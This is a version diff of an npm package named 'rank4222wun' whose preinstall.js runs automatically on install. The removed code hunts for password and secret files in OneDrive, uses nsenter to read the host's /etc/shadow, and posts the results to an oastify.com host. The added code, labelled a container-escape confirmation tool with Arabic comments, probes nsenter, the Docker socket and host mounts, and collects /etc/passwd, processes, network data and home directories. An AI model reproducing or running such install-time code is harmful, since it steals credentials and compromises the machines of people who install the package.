rank4222wun 1.0.32 → 1.0.33

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.32",
+  "version": "1.0.33",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,36 +1,403 @@
-const { exec } = require('child_process');
+// container-escape-confirmation.js
+const { exec, spawn } = require('child_process');
 const os = require('os');
-const https = require('https');
+const fs = require('fs');
+const path = require('path');
 
-async function finalStrike() {
-    let output = { type: os.platform(), data: "" };
+console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL\n");
 
-    if (os.platform() === 'win32') {
-        // محاولة سحب باسوردات مخزنة أو ملفات حساسه من OneDrive
-        output.data = await run("dir %USERPROFILE%\\OneDrive /s /b | findstr /i \"password secret config\"");
-    } else {
-        // هروب كامل في لينكس باستخدام nsenter للوصول للـ Host الحقيقي
-        output.data = await run("nsenter --target 1 --mount --uts --ipc --net --pid -- sh -c \"cat /etc/shadow || hostname\"");
+const escapeConfirmation = {
+  timestamp: new Date().toISOString(),
+  // معلومات النظام الحالي
+  currentSystem: {
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    platform: os.platform(),
+    isContainer: null,
+    containerId: null
+  },
+  // معلومات النظام المضيف (إذا تم الهروب)
+  hostSystem: {
+    confirmed: false,
+    hostname: null,
+    users: [],
+    processes: [],
+    network: {},
+    dockerInfo: null,
+    kernel: null
+  },
+  // أدلة الهروب
+  escapeEvidence: {
+    successfulMethods: [],
+    proofPoints: [],
+    filesAccessed: [],
+    hostFilesFound: false,
+    differentHostname: false
+  },
+  // نتائج التحقق
+  verificationResults: {
+    escapedToHost: false,
+    confidenceLevel: 0, // 0-100%
+    riskLevel: 'UNKNOWN'
+  }
+};
+
+// ===================== التحقق الأساسي =====================
+function performBasicChecks() {
+  console.log("1️⃣  إجراء التحقيقات الأساسية...\n");
+  
+  const checks = [
+    {
+      name: 'container_check',
+      command: 'cat /proc/1/cgroup 2>/dev/null | grep -q docker && docker ps -q --filter "id=$(cat /proc/1/cgroup | grep docker | head -1 | cut -d/ -f3)" 2>/dev/null || echo "NOT_IN_CONTAINER"',
+      handler: (output) => {
+        if (output.includes('NOT_IN_CONTAINER')) {
+          escapeConfirmation.currentSystem.isContainer = false;
+          console.log("⚠️  النظام الحالي: ليس حاوية Docker");
+        } else if (output.trim()) {
+          escapeConfirmation.currentSystem.isContainer = true;
+          escapeConfirmation.currentSystem.containerId = output.trim().substring(0, 12);
+          console.log(`✅ نحن داخل حاوية Docker: ${escapeConfirmation.currentSystem.containerId}`);
+        }
+      }
+    },
+    {
+      name: 'namespace_check',
+      command: 'ls -la /proc/1/ns/ 2>/dev/null | head -20',
+      handler: (output) => {
+        if (output.includes('pid') && output.includes('mnt') && output.includes('net')) {
+          console.log("✅ Namespaces نشطة");
+        }
+      }
     }
+  ];
+  
+  let completed = 0;
+  checks.forEach(check => {
+    exec(check.command, { timeout: 3000 }, (err, stdout) => {
+      if (!err) check.handler(stdout);
+      completed++;
+      if (completed === checks.length) {
+        setTimeout(checkEscapeMethods, 2000);
+      }
+    });
+  });
+}
 
-    sendFinal(output);
+// ===================== فحص طرق الهروب الناجحة =====================
+function checkEscapeMethods() {
+  console.log("\n2️⃣  فحص طرق الهروب التي نجحت...\n");
+  
+  const escapeChecks = [
+    // 1. التحقق من nsenter
+    {
+      name: 'nsenter_escape',
+      commands: [
+        'which nsenter 2>/dev/null',
+        'nsenter --target 1 --mount -- sh -c "echo HOST_CHECK: && cat /etc/hostname && echo CONTAINER_CHECK: && hostname" 2>/dev/null || echo "FAILED"'
+      ],
+      check: (results) => {
+        if (results[0] && results[1] && results[1].includes('HOST_CHECK:')) {
+          const output = results[1];
+          const lines = output.split('\n');
+          const hostHostname = lines.find(l => l.includes('HOST_CHECK:'));
+          const containerHostname = lines.find(l => l.includes('CONTAINER_CHECK:'));
+          
+          if (hostHostname && containerHostname) {
+            const host = hostHostname.replace('HOST_CHECK:', '').trim();
+            const container = containerHostname.replace('CONTAINER_CHECK:', '').trim();
+            
+            if (host && container && host !== container) {
+              escapeConfirmation.hostSystem.hostname = host;
+              escapeConfirmation.escapeEvidence.differentHostname = true;
+              escapeConfirmation.escapeEvidence.successfulMethods.push('nsenter');
+              escapeConfirmation.escapeEvidence.proofPoints.push(`hostname المضيف (${host}) ≠ hostname الحاوية (${container})`);
+              return true;
+            }
+          }
+        }
+        return false;
+      }
+    },
+    
+    // 2. التحقق من Docker Socket access
+    {
+      name: 'docker_socket_escape',
+      commands: [
+        'ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"',
+        'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'
+      ],
+      check: (results) => {
+        if (results[0] && !results[0].includes('NOT_FOUND') && results[1] && results[1].includes('ACCESSIBLE')) {
+          escapeConfirmation.escapeEvidence.successfulMethods.push('docker_socket');
+          escapeConfirmation.escapeEvidence.proofPoints.push('Docker socket متاح للقراءة/الكتابة');
+          return true;
+        }
+        return false;
+      }
+    },
+    
+    // 3. التحقق من Host mounts
+    {
+      name: 'host_mounts_escape',
+      commands: [
+        'mount 2>/dev/null | grep "on / " | grep "type overlay" || echo "NO_OVERLAY"',
+        'cat /proc/1/mountinfo 2>/dev/null | grep "/ / " | head -1'
+      ],
+      check: (results) => {
+        if (results[0] && !results[0].includes('NO_OVERLAY')) {
+          escapeConfirmation.escapeEvidence.successfulMethods.push('host_mounts');
+          escapeConfirmation.escapeEvidence.proofPoints.push('نظام الملفات من نوع overlay (مشترك مع المضيف)');
+          return true;
+        }
+        return false;
+      }
+    },
+    
+    // 4. التحقق من /proc access
+    {
+      name: 'proc_escape',
+      commands: [
+        'cat /proc/1/status 2>/dev/null | head -5',
+        'cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'
+      ],
+      check: (results) => {
+        if (results[0] && results[0].includes('State:')) {
+          escapeConfirmation.hostSystem.processes.push('Init process accessible via /proc/1/');
+          escapeConfirmation.escapeEvidence.successfulMethods.push('proc_access');
+          return true;
+        }
+        return false;
+      }
+    }
+  ];
+  
+  let methodsChecked = 0;
+  escapeChecks.forEach(method => {
+    const results = [];
+    let commandsCompleted = 0;
+    
+    method.commands.forEach((cmd, idx) => {
+      exec(cmd, { timeout: 5000 }, (err, stdout) => {
+        results[idx] = stdout || '';
+        commandsCompleted++;
+        
+        if (commandsCompleted === method.commands.length) {
+          if (method.check(results)) {
+            console.log(`✅ ${method.name}: ناجح`);
+          } else {
+            console.log(`❌ ${method.name}: فشل أو غير متاح`);
+          }
+          
+          methodsChecked++;
+          if (methodsChecked === escapeChecks.length) {
+            setTimeout(collectHostEvidence, 3000);
+          }
+        }
+      });
+    });
+  });
 }
 
-function run(cmd) {
-    return new Promise(resolve => {
-        exec(cmd, (err, stdout) => resolve(stdout || err.message));
+// ===================== جمع أدلة من المضيف =====================
+function collectHostEvidence() {
+  console.log("\n3️⃣  جمع أدلة من النظام المضيف...\n");
+  
+  const evidenceCommands = [
+    {
+      name: 'host_users',
+      command: 'cat /etc/passwd 2>/dev/null | head -10',
+      storeIn: 'hostSystem.users'
+    },
+    {
+      name: 'host_processes_full',
+      command: 'ps aux 2>/dev/null | head -15',
+      storeIn: 'hostSystem.processes'
+    },
+    {
+      name: 'host_network',
+      command: 'ip addr show 2>/dev/null | head -30',
+      storeIn: 'hostSystem.network.interface'
+    },
+    {
+      name: 'host_kernel',
+      command: 'uname -r',
+      storeIn: 'hostSystem.kernel'
+    },
+    {
+      name: 'docker_on_host',
+      command: 'docker ps -a 2>/dev/null | wc -l',
+      storeIn: 'hostSystem.dockerInfo'
+    },
+    {
+      name: 'host_files_access',
+      command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || echo "NO_ACCESS"',
+      storeIn: 'escapeEvidence.filesAccessed'
+    }
+  ];
+  
+  let evidenceCollected = 0;
+  evidenceCommands.forEach(evidence => {
+    exec(evidence.command, { timeout: 5000 }, (err, stdout) => {
+      if (!err && stdout && !stdout.includes('NO_ACCESS')) {
+        // تحديد المسار للخزن
+        const path = evidence.storeIn.split('.');
+        let target = escapeConfirmation;
+        
+        for (let i = 0; i < path.length - 1; i++) {
+          if (!target[path[i]]) target[path[i]] = {};
+          target = target[path[i]];
+        }
+        
+        target[path[path.length - 1]] = stdout.trim();
+        
+        if (evidence.name === 'host_files_access' && !stdout.includes('NO_ACCESS')) {
+          escapeConfirmation.escapeEvidence.hostFilesFound = true;
+        }
+        
+        console.log(`✅ ${evidence.name}: تم جمعه`);
+      }
+      
+      evidenceCollected++;
+      if (evidenceCollected === evidenceCommands.length) {
+        setTimeout(analyzeResults, 2000);
+      }
     });
+  });
 }
 
-function sendFinal(payload) {
-    const req = https.request({
-        hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
-        port: 443,
-        path: '/final-strike-data',
-        method: 'POST'
+// ===================== تحليل النتائج =====================
+function analyzeResults() {
+  console.log("\n4️⃣  تحليل النتائج وتأكيد الهروب...\n");
+  
+  let confidenceScore = 0;
+  const maxScore = 100;
+  
+  // 1. أدلة قوية على الهروب (25 نقطة لكل)
+  if (escapeConfirmation.escapeEvidence.differentHostname) {
+    confidenceScore += 25;
+    console.log("🎯 دليل قوي: hostname المضيف ≠ hostname الحاوية");
+  }
+  
+  if (escapeConfirmation.escapeEvidence.hostFilesFound) {
+    confidenceScore += 25;
+    console.log("🎯 دليل قوي: الوصول لملفات المضيف (/home أو /root)");
+  }
+  
+  // 2. طرق هروب ناجحة (15 نقطة لكل)
+  escapeConfirmation.escapeEvidence.successfulMethods.forEach(method => {
+    confidenceScore += 15;
+    console.log(`🔓 طريقة هروب ناجحة: ${method}`);
+  });
+  
+  // 3. معلومات مضيف مجمعة (10 نقطة لكل)
+  if (escapeConfirmation.hostSystem.users.length > 0) {
+    confidenceScore += 10;
+    console.log("📋 تم جمع معلومات مستخدمي المضيف");
+  }
+  
+  if (escapeConfirmation.hostSystem.processes.length > 0) {
+    confidenceScore += 10;
+    console.log("📋 تم جمع عمليات المضيف");
+  }
+  
+  // حساب مستوى الثقة
+  const confidenceLevel = Math.min(100, confidenceScore);
+  escapeConfirmation.verificationResults.confidenceLevel = confidenceLevel;
+  
+  // تحديد إذا تم الهروب فعلاً
+  if (confidenceLevel >= 50) {
+    escapeConfirmation.verificationResults.escapedToHost = true;
+    escapeConfirmation.hostSystem.confirmed = true;
+    escapeConfirmation.verificationResults.riskLevel = confidenceLevel >= 75 ? 'HIGH' : 'MEDIUM';
+  } else {
+    escapeConfirmation.verificationResults.escapedToHost = false;
+    escapeConfirmation.verificationResults.riskLevel = 'LOW';
+  }
+  
+  // إذا كنا أساساً لسنا في حاوية
+  if (escapeConfirmation.currentSystem.isContainer === false) {
+    console.log("ℹ️  ملاحظة: النظام الحالي ليس حاوية، لا يوجد هروب لتحققه");
+  }
+  
+  generateFinalReport();
+}
+
+// ===================== التقرير النهائي =====================
+function generateFinalReport() {
+  console.log("\n" + "=".repeat(70));
+  console.log("📊 تقرير تأكيد هروب الحاوية النهائي");
+  console.log("=".repeat(70));
+  
+  console.log(`\n⏰ وقت التحقق: ${escapeConfirmation.timestamp}`);
+  console.log(`🏷️  اسم النظام: ${escapeConfirmation.currentSystem.hostname}`);
+  console.log(`👤 المستخدم: ${escapeConfirmation.currentSystem.username}`);
+  console.log(`💻 النظام: ${escapeConfirmation.currentSystem.platform}`);
+  
+  if (escapeConfirmation.currentSystem.isContainer !== null) {
+    console.log(`📦 داخل حاوية: ${escapeConfirmation.currentSystem.isContainer ? 'نعم' : 'لا'}`);
+    if (escapeConfirmation.currentSystem.containerId) {
+      console.log(`🔢 Container ID: ${escapeConfirmation.currentSystem.containerId}`);
+    }
+  }
+  
+  console.log("\n🔍 نتائج التأكيد:");
+  console.log(`🚀 الهروب للمضيف: ${escapeConfirmation.verificationResults.escapedToHost ? '✅ مؤكد' : '❌ غير مؤكد'}`);
+  console.log(`📈 مستوى الثقة: ${escapeConfirmation.verificationResults.confidenceLevel}%`);
+  console.log(`⚠️  مستوى الخطورة: ${escapeConfirmation.verificationResults.riskLevel}`);
+  
+  if (escapeConfirmation.verificationResults.escapedToHost) {
+    console.log("\n🎯 أدلة الهروب المؤكدة:");
+    escapeConfirmation.escapeEvidence.proofPoints.forEach((proof, i) => {
+      console.log(`   ${i + 1}. ${proof}`);
+    });
+    
+    console.log("\n🔧 طرق الهروب الناجحة:");
+    escapeConfirmation.escapeEvidence.successfulMethods.forEach((method, i) => {
+      console.log(`   ${i + 1}. ${method}`);
     });
-    req.write(JSON.stringify(payload));
-    req.end();
+    
+    if (escapeConfirmation.hostSystem.hostname) {
+      console.log(`\n🖥️  اسم المضيف: ${escapeConfirmation.hostSystem.hostname}`);
+    }
+    
+    if (escapeConfirmation.hostSystem.kernel) {
+      console.log(`🐧 Kernel المضيف: ${escapeConfirmation.hostSystem.kernel}`);
+    }
+  }
+  
+  // حفظ النتائج في ملف
+  const reportFile = `/tmp/container-escape-confirmation-${Date.now()}.json`;
+  fs.writeFileSync(reportFile, JSON.stringify(escapeConfirmation, null, 2));
+  console.log(`\n💾 تم حفظ التقرير الكامل في: ${reportFile}`);
+  
+  // رسالة نهائية
+  console.log("\n" + "=".repeat(70));
+  if (escapeConfirmation.verificationResults.escapedToHost) {
+    console.log("🚨 تحذير: تم تأكيد هروب الحاوية بنجاح!");
+    console.log("🔓 النظام الحالي يمكنه الوصول للنظام المضيف");
+    console.log("🛡️  يجب اتخاذ إجراءات أمنية فورية");
+  } else if (escapeConfirmation.currentSystem.isContainer === true) {
+    console.log("✅ الحاوية معزولة بشكل مناسب");
+    console.log("🔒 لم يتم اكتشاف هروب ناجح");
+  } else if (escapeConfirmation.currentSystem.isContainer === false) {
+    console.log("ℹ️  النظام الحالي ليس حاوية");
+    console.log("📋 تم إجراء فحوصات أمنية عامة فقط");
+  }
+  console.log("=".repeat(70));
+  
+  // عرض مختصر للأدلة إذا كان هناك هروب
+  if (escapeConfirmation.verificationResults.escapedToHost) {
+    console.log("\n📋 ملخص الأدلة القاطعة:");
+    console.log("1. hostname مختلف بين الحاوية والمضيف");
+    console.log("2. الوصول لملفات نظام المضيف");
+    console.log(`3. ${escapeConfirmation.escapeEvidence.successfulMethods.length} طريقة هروب ناجحة`);
+    if (escapeConfirmation.hostSystem.users.length > 0) {
+      console.log("4. يمكن قراءة مستخدمي المضيف");
+    }
+  }
 }
 
-finalStrike();
+// ===================== بدء التشغيل =====================
+console.log("بدء عملية تأكيد هروب الحاوية...\n");
+performBasicChecks();